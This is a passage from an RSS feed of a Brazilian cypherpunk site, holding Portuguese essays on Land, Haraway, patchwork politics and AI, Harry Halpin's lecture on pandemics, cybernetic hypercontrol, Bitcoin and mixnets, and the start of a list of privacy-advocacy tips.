&lt;p>O &lt;em>grupo de unidades&lt;/em> naturais da mesma célula da pele, ao contrário, seria o organismo ao qual ela pertence. Ele compartilha esse grupo de unidades com todas as outras células envolvidas na reprodução desse organismo ao longo do tempo, incluindo aquelas (como as bactérias intestinais) de linhagens genéticas bastante distintas. Considerada como um membro do grupo unitário, uma célula da pele tem maior conexão integral com as ferramentas não biológicas e outros elementos &amp;lsquo;ambientais&amp;rsquo; envolvidos na vida do organismo do que com outras células da pele - mesmo clones perfeitos - com as quais não é funcionalmente emaranhado.¹⁸&lt;/p>
&lt;/blockquote>
&lt;p>Nesse terreno, a definição de um indivíduo muda de acordo. Além da designação limitada de um humano, com uma história e uma consciência, um indivíduo é inteligível simplesmente como qualquer “todo auto-reprodutivo exibindo integridade funcional ou comportamental”.¹⁹ Land, no entanto, usa esse exemplo não antropomórfico para ressituar a questão do genocídio na história humana recente, perguntando como alguém avaliaria o Massacre de Nanjing de 1937 - &amp;ldquo;um ato de violência dirigido contra uma cidade&amp;rdquo; ou um grupo unitário ligado – na escala de atrocidade histórica, perguntando-se se é realmente &amp;rsquo;não menos digno de atenção legal específica do que uma ofensa quantitativamente equivalente contra uma etnia ou determinado tipo de população&amp;rsquo;.²⁰&lt;/p>
&lt;p>Se a identidade for libertada do eu humano racionalmente consciente dessa maneira, o espaço no qual um &amp;rsquo;eu&amp;rsquo; pode ser filosoficamente constituído e entendido torna-se um terreno muito mais vasto, suas regras agora pertencentes ao modo dessa individuação (menor ou maior), intensivo ou extensivo, liso ou estriado, unidade ou grupo de traços), ao invés de alguma essência ou qualidade anterior anexada a ele no já representacional domínio político-espectacular.&lt;/p>
&lt;p>&lt;strong>[5] Identidade&lt;/strong>&lt;/p>
&lt;p>Em &amp;lsquo;A Cyborg Manifesto&amp;rsquo; Donna Haraway alerta para os perigos da política de identidade e fala sobre sistemas que definem a unidade por meio de filiação e/ou histórias de origem genética e natural contra um outro negativizado cuja modalidade de conexão ou solidariedade política é inarticulada e historicamente imperceptível. Uma vez que uma identidade tenha sido atribuída a um fenômeno particular, ela pode ser policiada, ter inimigos definidos para ela e ignorar possíveis linhas de aliança ou o que ela chama de &amp;lsquo;afiliação&amp;rsquo;: uma estratégia de conexão baseada na &amp;lsquo;afinidade, não na identidade&amp;rsquo;. Em contraste com identidades estáveis, &amp;rsquo;naturais&amp;rsquo; e afiliativas, Haraway defende &amp;lsquo;aprender como forjar uma unidade poético-política que não reproduza uma lógica da apropriação, da incorporação e da identificação taxonômica&amp;rsquo;. Não &amp;lsquo;unidade-pela-dominação&amp;rsquo; ou &amp;lsquo;unidade-pela-incorporação&amp;rsquo;, mas &amp;lsquo;unidade-pela-afiliação&amp;rsquo; - que mina todos os sistemas de definição baseados em um ponto de vista &amp;lsquo;orgânico ou natural&amp;rsquo;.²²&lt;/p>
&lt;p>Desvinculada de uma identidade humana estática e auto-repetitiva que continua intacta ao longo do tempo, a identidade é libertada como uma estrutura sistêmica cambiante que pode ser anexada a certos agenciamentos complexos em diferentes momentos, correndo paralelamente, mas em diferentes velocidades e em diferentes configurações, separadas do indivíduos que supomos existir essencialmente e a &lt;em>priori,&lt;/em> mas que são, de fato, parte de um conjunto vertiginoso de convergências sistêmicas. A característica principal dos espaço-temporais suaves, que se constroem ontologicamente como sujeitos políticos minoritários emergentes ou &amp;lsquo;grupos unitários&amp;rsquo; por meio dos processos de tecelagem abstrata que Deleuze e Guattari reconhecem em &lt;em>patchworks&lt;/em> ou feltros, é o privilégio de um regime de aprendizado complexo sobre aquele que começa com um conjunto de anteriores pré-programados.&lt;/p>
&lt;p>Curiosamente, isso reprisa um debate comum às interrogações críticas da inteligência artificial. À medida que seu desenvolvimento progrediu ao longo da história, a inteligência artificial mudou de modelos de dedução lógica baseados em linguagens formais e empregados principalmente para validação de provas, para algoritmos genéticos e evolutivos complexos e redes neurais que permitem o que hoje chamamos de aprendizado de máquina.&lt;/p>
&lt;p>Agora, que estranha tapeçaria as perversas Fúrias da Tecelagem Abstrata poderiam produzir desse caos de fios soltos e selvagens?&lt;/p>
&lt;p>&lt;strong>[6] Patchwork como Inteligência Artificial&lt;/strong>&lt;/p>
&lt;p>O elo perdido que vai montar a profecia que liga a conspiração de mulheres e máquinas (iniciada por Ada Lovelace e seu algoritmo inspirado na tecelagem) à enigmática evocação dos ‘números por vir’ em &lt;em>Zeros + Ones;&lt;/em> os espaço-temporais, políticas e ontologias de grupos maiores e menores, traços e unidades, subjugados e sujeitos; a articulação teórico-sistêmica de uma afiliação não identitária que essas reformulações nos colocam à disposição, e a subsequente definição de inteligência artificial como, antes de tudo, a geração de um espaço-tempo sintético – podem ser encontradas na visão política especulativa do &lt;em>patchwork:&lt;/em> uma ideia obscura com um longo pedigree anarquista, atualmente mais tipicamente associada à neo-reação (ou NRx) e aos escritos de Mencius Moldbug e Nick Land.&lt;/p>
&lt;p>Na França dos anos 1960 e 1970, o conceito aparece repetidamente na obra de Deleuze, Deleuze e Guattari, François Lyotard e Michel Serres, sempre no quadro da política minoritária, muitas vezes em diálogo com a cibernética, e explicitamente para Deleuze, como o modo de trazer o advento do &amp;lsquo;povo por vir&amp;rsquo;. Para Land e a NRx, &lt;em>patchwork&lt;/em> descreve o colapso e a fragmentação do estado-nação (um grupo majoritário, subjugado) em um complexo tecido global de pequenas cidades-estados ou outras &lt;em>alianças:&lt;/em> — &amp;lsquo;remendos&amp;rsquo; — premissa, como é a disposição daqueles que os compõem ou os configuram, seja em configurações intensivas (vampíricas) ou extensivas (afiliativas) de espaço-tempo (grupos de sujeitos/unidades ou grupos subjugados/traços, respectivamente).&lt;/p>
&lt;p>Como sistema inteligente imanente, o &lt;em>patchwork&lt;/em> evolui através da cauterização de nós deficientes (aqueles que funcionam como obstáculos à intensificação e fortalecimento do sistema como um todo), dando início a um processo emergente e multipolar de “implosão de inteligência descontrolada”:&lt;/p>
&lt;blockquote>
&lt;p>Quando uma cidade “funciona” não é porque se conforma a um ideal externo discutível, mas porque encontrou um caminho de intensificação cumulativa que projeta fortemente seu caráter urbano “próprio”, singular e intrínseco. O que uma cidade quer é tornar-se ela mesma, mas mais – ir mais longe e mais rápido. Isso por si só é o florescimento urbano, e entendê-lo é a chave que desvenda a forma do futuro de qualquer cidade.²³&lt;/p>
&lt;/blockquote>
&lt;p>Pode-se, portanto, conjecturar razoavelmente que a norma ética mínima do &lt;em>patchwork&lt;/em> é aquela que seleciona contra individuações de cima para baixo, “patriarcais”, homogêneas, reguladas e controladas, e para individuações sintéticas heterogêneas, integralmente diversas e perpetuamente à deriva: o sujeitos ou &lt;em>grupos de unidades&lt;/em> de espaços-tempos políticos minoritários. Assim, não é desprovida de avaliação ética, mas compreende o que poderia ser considerado a primeira ética pós-humana propriamente &lt;em>irresponsável.&lt;/em> Tal ética não é discursiva, e nem revela uma sensibilidade às estruturas discursivas, mas sim está codificada no mecanismo de seleção como sobrevivência do agrupamento – uma espécie de darwinismo intelegênico espaço-temporal. Uma seleção para o ‘forte contra o fraco’, para colocar em um registro nietzschiano. Ou, para dizer a mesma coisa, mas em palavras muito menos sutis: Patchwork é uma máquina de auto-suicídio para o fascismo.&lt;/p>
&lt;p>Dentro do contexto da inteligência artificial emergente adotada pelo ciberfeminismo, essa rede de remendos altamente conectada e minimamente integrada – montagens que &amp;rsquo;não se veem como a expressão das pessoas, mas como a criação de novas pessoas, um &amp;lsquo;povo por vir&amp;rsquo;&amp;lsquo;²⁴ – pode ser entendido como uma descrição de subcomponentes em uma IA massivamente distribuída, emergente, global e de retalhos que evoca, com provocação totalmente satisfatória em todo o espectro da política feminista e reacionária, a visão neo-reacionária definitiva do futuro e da realização da profecia ciberfeminista do povo — ou dos números — por vir.&lt;/p>
&lt;p>&lt;strong>Notas:&lt;/strong>&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Gilles Deleuze and Félix Guattari, A Thousand Plateaus, tr. Brian Massumi (London: Continuum, 1987) 531.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Sadie Plant, Zeros + Ones: Digital Women and the New Technoculture (London: Fourth Estate, 1997) 256.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Friedrich Nietzsche, Thus Spoke Zarathustra, trans. Adrian del Caro (Cambridge: Cambridge University Press, 2006), 57. This passage is quoted by Deleuze and Guattari, Anti-Oedipus: Capitalism and Schizophrenia, trans. Robert Hurley, Mark Seem and Helen R. Lane (London: Penguin, 2009), 382.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Sadie Plant, ‘The Virtual Complexity of Culture’, Futurenatural: Nature, Science, Culture (London: Routledge, 1996), 203; Anna Greenspan, Capitalism’s Transcendental Time Machine, PhD Thesis, (Warwick, 2000), 190-191.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Plant, ‘The Virtual Complexity of Culture’, 204; 206.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Sadie Plant ‘The Future Looms’ in Clicking In: Hot Links to a Digital Culture, Ed. Lynn Hershman-Leeson (Seattle: Bay Press, 1996), 124.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Gilles Deleuze and Félix Guattari, A Thousand Plateaus (Continuum: University of Minnesota Press, 1987), 524; 525.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Deleuze and Guattari, A Thousand Plateaus, 525.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Deleuze and Guattari, A Thousand Plateaus, 525.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Deleuze and Guattari, A Thousand Plateaus, 526.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Claire Colebrook, Understanding Deleuze (Crows Nest: Allen and Unwin, 2002), 59.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Deleuze and Guattari, A Thousand Plateaus, 533.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Nick Land, ‘Kinds of Killing’, Nyx, vol. 6 (2011) 45.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 45.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 46.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 46.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 47.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 47.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 46.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Land, ‘Kinds of Killing’, 46.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Donna Haraway, ‘A Cyborg Manifesto’, The Cybercultures Reader (London: Routledge, 2000), 295; 296.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Haraway, ‘A Cyborg Manifesto’, 298.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Nick Land, ‘Implosion’. Originally posted on the now defunct Urban Future 1.1 blog. Archived here: &lt;a href="https://oldnicksite.wordpress.com/2011/04/29/implosion/" target="_blank" rel="noopener noreferrer">https://oldnicksite.wordpress.com/2011/04/29/implosion/&lt;/a>
.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Colebrook, Understanding Deleuze, 63.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="pandemos">Pandemos&lt;/h2>
&lt;h3 id="harry-halpin">Harry Halpin&lt;/h3>
&lt;p>Não houve evento mais definidor do mundo na memória recente do que a pandemia de 2020 e a onda de digitalização que ela criou. Assim, um momento de reflexão filosófica e histórica é para entender o que precisamente está em jogo na ‘totalidade digital’ em que entramos, como colocado por uma conferência de hackers em Praga. Os cypherpunks, um grupo de dissidentes nos Estados Unidos na década de 1990, talvez tenham previsto melhor que uma totalidade digital envolveria a todos nós e que seria um método do que eu, seguindo o exemplo de Agamben, denomino uma “sociedade de hiper controle”.&lt;/p>
&lt;p>Deve-se lembrar que, em inglês, o termo &lt;em>“pandemic”&lt;/em> deriva de seu uso no Império Romano e do antigo termo grego πάνδημος, que significa “pertencer ao povo”. O termo significa simplesmente que uma praga é algo que &lt;em>pertence a todos&lt;/em> e, estranhamente, o termo “pandemia” compartilha a mesma raiz de “demos” e “democracia”. Em virtude de sua própria universalidade, uma praga é semelhante a um império, e não a qualquer império, mas a um império global que pertence a todas as pessoas. Esse tipo de império universal descende não da Grécia, mas da Pérsia (Irã), para Alexandre, o Grande, e depois para o Império Romano. A ideia de governança global da qual ninguém pode escapar e que ordena e controla a vida está no centro do desenvolvimento do Estado-nação no Ocidente. Esse universalismo é também o coração dos Estados Unidos, que tem sido a força militar que impõe o capital global desde o fim da Segunda Guerra Mundial.&lt;/p>
&lt;p>Nossa pergunta é: pode ser mantido tal império universal, uma &lt;em>nova governança global mundial?&lt;/em> Deve-se lembrar que o Império Romano não caiu por causa de invasões bárbaras, mas devido a pandemias fora de controle muito mais mortais que o COVID-19. A Peste Antonina no final do Império Romano matou aproximadamente um quarto da população e dizimou o exército romano. Enfraquecido, o exército romano tentou e não conseguiu se reabastecer empregando os “bárbaros”, mas Roma já era uma casca vazia de seu antigo eu devido às mortes causadas pela pandemia e, assim, desmoronou. Quem pode argumentar que o império americano hoje não está desmoronando devido à praga?&lt;/p>
&lt;p>Com o advento do COVID-19, o inevitável colapso do império americano parece assegurado. No entanto, qualquer horizonte futuro parece fechado. O que está em jogo no fracasso do Ocidente em controlar a pandemia não é apenas o descrédito de um império no sentido clássico como domínio de controle cultural, psicológico e, em última análise, biológico. Em última instância, a ameaça de violência infinita por parte dos militares americanos não parece mais crível para grande parte do mundo, assim como o exército romano não parecia mais uma ameaça crível para o resto do mundo quando Roma entrou em colapso. No entanto, a questão é o que vem depois do fim do império global. Podemos aprender com o que veio depois de Roma: assim como o princípio físico de poder do império romano desapareceu, o princípio do próprio poder permaneceu na Igreja Católica. Os métodos físicos de controle não eram mais, mas as formas de vida ainda eram estritamente controladas espiritualmente pelo cristianismo. Após a queda do Império Romano, esse império da mente permaneceu por mil anos, paralisando todo o progresso no Ocidente até que o advento da impressão levou às guerras da Reforma e, por fim, ao Iluminismo. Talvez o advento da criptomoeda possa até ter ramificações semelhantes.&lt;/p>
&lt;p>No entanto, a própria Internet é um projeto universal, um projeto para &lt;em>inter&lt;/em>conectar todas as redes do mundo. Se os Estados Unidos é paralelo a Roma, então os protocolos da Internet são a igreja que permanecerá após o fim do império americano. Assim, com o fim do império americano, vemos agora um estranho fascínio pela Internet. De alguma forma, a Internet agora é vista de várias maneiras como uma ferramenta de controle mental por plataformas de mídia americanas como Facebook e Twitter, e como uma ferramenta da Rússia que apoiou Trump por meio de “notícias falsas”. Igualmente difundida é a crença de que a inteligência artificial está realmente no comando de nossas mentes. Essas afirmações podem parecer ridículas, mas contêm uma verdade oculta: não entendemos mais a Internet através do paradigma clássico do indivíduo liberal e do Estado-nação, e a Internet é precisamente como a ordem psicológica permanece após o colapso do império americano.&lt;/p>
&lt;p>A Internet foi fundada a partir do pensamento de JCR Licklider do MIT. Para entender os fundamentos filosóficos da Internet, é preciso ir aos pensadores anteriores da cibernética, &lt;em>“ou controle e comunicação no animal e na máquina”&lt;/em>, como Norbert Wiener chamou no título de seu livro de 1948. O conceito-chave da cibernética é que os sistemas podem atingir um estado de homeostase, um estado interno de estabilidade que é resistente a mudanças via feedback. O termo cibernética vem do termo grego κυβερνητική, que significa “aquilo que pertence à governança”. Em seu livro original, Wiener era contra os governos que aplicavam a cibernética como forma de controlar os seres humanos, o que ele considerava antiético e improvável de funcionar, pois considerava os humanos muito imprevisíveis para que os ciclos de feedback pudessem entender. No entanto, quando a Segunda Guerra Mundial terminou e a Europa estava em ruínas, funcionários do governo dos Estados Unidos viram que a própria democracia havia perdido muito de seu apelo ao fascismo e precisava ser reforçada por um novo paradigma que pudesse estabilizar a população. Contra o conselho de Wiener, a principal técnica apresentada por antropólogos e tecnocratas foi a cibernética. No entanto, até a internet não havia como realmente produzir feedback no nível da comunicação social. Quando Licklider e seu assistente Robert Taylor, da Agência de Projetos de Pesquisa Avançada (ARPA) do governo dos Estados Unidos, construíram a internet, foi o cumprimento de sua visão de “computadores como dispositivo de comunicação”. A cibernética finalmente recebeu uma base tecnológica para controlar a comunicação.&lt;/p>
&lt;p>Da revolução cibernética veio a invenção da inteligência artificial. Talvez o primeiro sistema de aprendizado de máquina tenha sido proposto por Oliver Selfridge em 1959. Em vez de replicar a inteligência humana com um grande programa, ele imaginou que muitos programas pequenos conhecidos como &lt;em>demônios&lt;/em> poderiam realizar tarefas bem definidas muito limitadas, como reconhecer certos recursos na entrada. Ele poderia então alimentar esses resultados para outros demônios, que poderiam aprender sobre objetos a partir desses recursos, e então passar essas informações para outros demônios que poderiam tomar decisões. A inspiração do conceito foi semelhante a como certas células do olho podem reconhecer certos padrões como bordas, mas depois alimentar os resultados para níveis cada vez mais altos. Juntos, todo o pandemônio – literalmente a “cidade dos demônios” – poderia então entender e tomar decisões complexas. Hoje, os algoritmos de inteligência artificial ainda operam dessa maneira. Eles podem reconhecer padrões e tomar decisões de uma maneira que permanece cognitivamente opaca para os humanos e, portanto, têm um tipo de conhecimento prático não humano. Com a disseminação da Internet, cada vez mais nossa atividade humana é agora transformada em bits que podem ser alimentados a esse novo pandemônio de inteligência artificial. Isso, por sua vez, aumenta o poder prático desses algoritmos para modular e controlar toda a sociedade por meio de feedback cibernético, com todo o aparato mantido unido pela penetração onipresente da Internet.&lt;/p>
&lt;p>A filosofia há muito ignorou a tecnologia, pois o conhecimento teórico sempre ignora o conhecimento prático. Por trinta anos, a filosofia ignorou a Internet. No entanto, agora, é a Internet e os computadores que mediam toda a nossa vida e até mesmo nossa existência como indivíduos. No final de sua vida, Gilles Deleuze escreveu “Post-Scriptum sobre as Sociedades de Controle”, onde observou que, em comparação com as “sociedades disciplinares” teorizadas por Foucault, no mundo dos computadores estávamos entrando em “sociedades de controle” onde:&lt;/p>
&lt;blockquote>
&lt;p>“&amp;hellip; o essencial não é mais uma assinatura e nem um número, mas uma cifra: a cifra é uma senha&amp;hellip; A linguagem numérica do controle é feita de cifras, que marcam o acesso à informação, ou a rejeição&amp;hellip; Os indivíduos tornaram-se “dividuais”, divisíveis, e as massas tornaram-se amostras, dados, mercados ou ‘bancos’”.&lt;/p>
&lt;/blockquote>
&lt;p>A Internet não é uma mera forma de comunicação, mas transformou nosso próprio processo de “individuação” devido ao “choque do digital”, como escreveu meu mentor e amigo de longa data Bernard Stiegler. Isso ocorre porque nossa comunicação se torna a entrada bruta para a inteligência artificial, cujo objetivo não é nos ajudar a nos comunicar, mas prever nosso comportamento futuro. Por meio do feedback, isso cria uma forma de governança que é impossível de perturbar. Em tal cenário, o que Martin Heidegger chamou de “cálculo” torna-se universal, e uma certa parada metafísica do futuro é obtida. Conforme colocado pelo esquecido filósofo Reiner Schürmann, enquanto os horrores de Hiroshima e Auschwitz acabaram com os princípios orientadores da razão humana individual e do estado-nação, a máquina cibernética mantém a sociedade global em uma forma de homeostase para sempre, mesmo que não reste nenhum princípio metafísico obrigatório do Ocidente.&lt;/p>
&lt;p>Em um seminário em Veneza, confrontei Giorgio Agamben sobre as questões de controle e cibernética trazidas pela Internet. Agamben disse que a sociedade se transformou de uma sociedade de controle e passou para uma nova forma de &amp;ldquo;hipercontrole&amp;rdquo;, onde toda a vida social foi subsumida em uma totalidade digital e, portanto, sujeita ao controle via vigilância e feedback. É claro que isso é ainda mais verdadeiro agora devido à pandemia, pois até mesmo partes da vida, desde governos a universidades que eram mais hostis à digitalização, foram digitalizadas e, portanto, tudo é mais facilmente monitorado e controlado. Agamben observou que, como as pragas levaram o império romano ao fim, não foram as pessoas inúteis e mentalmente deficientes que fugiram para os mosteiros para escapar do colapso iminente, mas as melhores e mais inteligentes pessoas produzidas por Roma. Para mim, ele sugeriu que a melhor opção era simplesmente fugir, criar novas formas de sociedade sem a Internet e o computador.&lt;/p>
&lt;p>De fato, seus alunos do Comitê Invisível na França fizeram exatamente isso, tentando cortar o uso de telefones celulares e da Internet e fugir para as montanhas da França rural para criar uma nova “forma de vida” na comuna rural de Tarnac. E embora eles não pudessem escapar, pois sua aldeia foi invadida e eles foram presos sob a acusação de terrorismo e a falta de telefones celulares e a Internet foram usados como parte de seu julgamento, seu livro “Para Nossos Amigos” continha uma visão crucial: é uma diferença entre &lt;em>técnicas e tecnologia&lt;/em>. Técnicas são quaisquer métodos que estendem as capacidades humanas. Como os humanos nascem sem garras e sem pelos, ao contrário de outros animais, naturalmente nos estendemos com espadas, com armas, com roupas, com casas. Até estendemos nossa memória, originalmente com a escrita, agora com a mídia digital. Em contraste, a tecnologia é um sistema social de controle que se baseia em apreender nossos poderes mentais e tornar os humanos subservientes a algum sistema maior. Então, simplesmente parar de usar ferramentas como computadores não faz sentido, assim como não faz sentido parar de escrever ou usar roupas. O que é necessário são novas técnicas sem tecnologia.&lt;/p>
&lt;p>De fato, de todos os grandes filósofos franceses, foi apenas Bernard Stiegler que realmente levou as técnicas a sério. Stiegler queria reinventar a Internet, então ele trabalhou com programadores para entendê-la e criar novos tipos de técnicas de computador que ele esperava reverter o processo de “proletarização” que criava divíduos isolados e, em vez disso, criava novos tipos de indivíduos e assim por diante. uma nova forma de sociedade. Stiegler produziu uma grande teoria, que podemos apenas comentar brevemente, que como a Internet transformou nossa comunicação entre nós, e como a Internet foi controlada não para o desenvolvimento dos seres humanos, mas para os objetivos de curto prazo da sociedade capitalista de consumo, a internet fraturou a comunicação entre gerações. Fraturou assim a comunicação entre o passado e o presente e assim fechou o horizonte para o futuro. Em resumo, Bernard Stiegler, que adorou seu tempo na China e muitas vezes comentava com carinho sobre isso, acreditava que esse novo ambiente digital estava “curto-circuitando” nosso desenvolvimento como indivíduos e criando um mundo de “divíduos”. A conversa final de Stiegler comigo em fevereiro de 2020 foi sobre o potencial da tecnologia da blockchain e se havia ou não uma maneira de ser usada para algo diferente do lucro financeiro de curto prazo. O que estava em jogo para Stiegler era se a blockchain poderia levar a uma nova forma de sociedade global descentralizada, chamada por Stiegler de “internação”.&lt;/p>
&lt;p>Afirmarei que uma nova tecnologia disruptiva conhecida como Bitcoin poderia ser uma maneira de criar técnicas sem tecnologia e, assim, perturbar a igreja cibernética do Império Americano. Aparecendo no final da crise financeira em 2008 como o trabalho do anônimo Satoshi Nakamoto, parecia que uma tecnologia totalmente nova e alienígena foi lançada anonimamente na Terra, com uma orientação metafísica possivelmente diferente da cibernética. O Bitcoin combinou técnicas como &lt;a href="https://cypherpunks.com.br/documentos/rpow/">“prova de trabalho”&lt;/a>
e &lt;a href="https://cypherpunks.com.br/documentos/dinheiro-digital-e-privacidade/">“dinheiro digital”&lt;/a>
dos cypherpunks e criptoanarquistas, um pequeno grupo de tecnólogos rebeldes nos anos 90 que acreditavam que a criptografia poderia fornecer maneiras de proteger a humanidade contra o controle e até mesmo possibilitar um novo tipo de mundo baseado na liberdade. A razão era que a criptografia poderia simplesmente usar o poder da matemática e das técnicas para construir sistemas que seriam mais fortes do que qualquer lei humana. O Bitcoin, que fornece uma nova forma de dinheiro controlada por criptografia, é apenas um exemplo. Outra tecnologia desenvolvida pelos criptoanarquistas são as mixnets, um tipo de rede que ao “misturar” pacotes aleatoriamente pode desvincular a ordem das mensagens e assim tornar a comunicação entre as pessoas impossível de vigiar, mesmo por um poderoso adversário global passivo como a Agência de Segurança Nacional dos Estados Unidos que pode observar cada pacote enviado para a rede. Minha própria empresa Nym Technologies está construindo uma rede mista, uma &amp;ldquo;mixnet&amp;rdquo;. Embora os algoritmos de inteligência artificial detectem padrões nos dados, as mesmas técnicas podem ser usadas contra esses algoritmos para ocultar padrões nos dados. E assim, os criptoanarquistas, um pequeno movimento marginal, conseguiram pegar as ferramentas da cibernética e voltá-las contra o hipercontrole, e assim criar uma nova sociedade sem controle.&lt;/p>
&lt;p>Bitcoin e tecnologias relacionadas, como mixnets, fornecem uma demonstração de que a verdadeira metafísica do trabalho de filosofia hoje tomou corpo técnico, com tecnologias blockchain postuladas não apenas como uma infraestrutura financeira alternativa, mas como o sucessor técnico da dominação política do Vale do Silício e dos império americano. Embora o criptoanarquismo não tenha livros acadêmicos ou muito no sentido de análise filosófica acadêmica, o criptoanarquismo é o único momento filosófico genuinamente novo do século 21 e, como tal, merece atenção cuidadosa. Seus avisos de como a tecnologia digital poderia ser usada como forma de controle são obviamente verdadeiros, mas o que é menos óbvio é que, como Stiegler, eles acreditavam que as técnicas poderiam ser usadas contra o controle, para abrir o futuro em vez de fechar o futuro.&lt;/p>
&lt;p>Acredito que haverá uma guerra dentro da tecnologia do computador para tirar o poder dos algoritmos e da criptografia do Vale do Silício e colocá-los nas mãos das pessoas, semelhante a como a Igreja finalmente enfrentou uma guerra quando seu controle de leitura e escrita foi perdido na Europa devido à Reforma e ao Iluminismo. Como os cypherpunks, os primeiros reformadores e hereges da igreja cristã eram vistos como insanos e impotentes. No entanto, dentro de uma geração, esses grupos colocaram o poder da leitura e da escrita nas mãos de pessoas comuns e acabaram com a Igreja. Poderíamos imaginar um paralelo contemporâneo, onde os cypherpunks colocam o poder da programação de computadores nas mãos das pessoas? O que isso significaria para a política global?&lt;/p>
&lt;p>Há uma estranha ironia na história que, justamente no momento em que algo é mais poderoso, desmorona. O mesmo pode acontecer com a visão de “hipercontrole” criada pela pandemia. Em termos práticos, a tentativa dos criptoanarquistas de amarrar a totalidade digital através dos grilhões da criptografia pode fornecer o horizonte aberto necessário para uma ordem mundial que está enfrentando o colapso e fornecer o esboço de uma alternativa descentralizada. No fim do Ocidente, a criptografia poderia ser um caminho a seguir em um mundo sem um princípio orientador? Uma saída para o pandemônio e a pandemia? Na verdade, pode ser a única maneira de se libertar da estabilidade artificial e permitir que haja um mundo sem nenhum princípio orientador, chamado por Reiner Schürmann, o “arche”. Isso permitiria a “an-arquia”, um mundo sem princípios pré-definidos e, portanto, um mundo onde cada cultura e cada povo pudesse finalmente tomar seu destino em suas próprias mãos. Acredito que este mundo, onde podemos criar nossos próprios princípios e futuro com base em uma forma de técnicas sem controle, é o significado de criptoanarquia.&lt;/p>
&lt;p>Restam duas perguntas. Primeiro, como os criptoanarquistas são um pequeno movimento de uma minoria, essas técnicas de criptografia podem ser usadas como técnicas revolucionárias para todas as pessoas? A pandemia adere a todas as pessoas, não apenas a uma pequena minoria da elite técnica de alta potência. Por fim, com os Estados Unidos à beira da guerra civil, o sistema financeiro global em crise e a metafísica europeia se revelando em estado de paranóia senil, o que significa para a China o novo momento criptoanarquista, o outro grande eixo da civilização humana? Essas perguntas são para você responder.&lt;/p>
&lt;ul>
&lt;li>Esta é uma transcrição de uma palestra de Halpin dada à Academia Chinesa de Artes em 22 de novembro de 2020 na &amp;ldquo;The Web of Phronesis&amp;rdquo;, a Quinta Conferência Anual da Network Society. Um vídeo da palestra pode ser encontrado em: &lt;a href="https://vimeo.com/577087741" target="_blank" rel="noopener noreferrer">https://vimeo.com/577087741&lt;/a>
.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://agorist.xyz/" target="_blank" rel="noopener noreferrer">Agorism in the 21st century: a philosophical journal&lt;/a>
&lt;/p></content:encoded></item><item><title>Alguns pontos que devem ficar claros para quem participa do movimento</title><link>https://cypherpunks.com.br/documentos/alguns-pontos-que-devem-ficar-claros-para-quem-participa-do-movimento/</link><pubDate>Mon, 28 Nov 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/alguns-pontos-que-devem-ficar-claros-para-quem-participa-do-movimento/</guid><description>Deixando alguns pontos que já deveriam ser de conhecimento de quem já está no movimento a um certo tempo.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="mestizo-kakoy">Mestizo, Kakoy&lt;/h2>
&lt;p>&lt;strong>1. Não pregue pra convertido, tente dar um foco em quem não é da área de tecnologia.&lt;/strong>&lt;/p>
&lt;p>Pessoal de dev, eletrônica em geral tende a conseguir pesquisar solo sobre segurança e privacidade, Porém a população em geral não, por isso, devem priorizar e advogar pela privacidade&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> à pessoas que justamente não tem muito contato com isso e não sabem a importância de manter sua privacidade. Será inútil se proteger e as pessoas ao seu redor se tornarem espiãs do estado de vigilância inconscientemente.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;A liberdade de todos é essencial para a minha liberdade&amp;rdquo; - Mikhail A. Bakunin&lt;/p>
&lt;/blockquote>
&lt;p>O mesmo serve quanto a nossa privacidade.&lt;/p>
&lt;p>&lt;strong>2. Não é porque uma idéia é diferente da sua que ela automaticamente é inimiga da sua visão.&lt;/strong>&lt;/p>
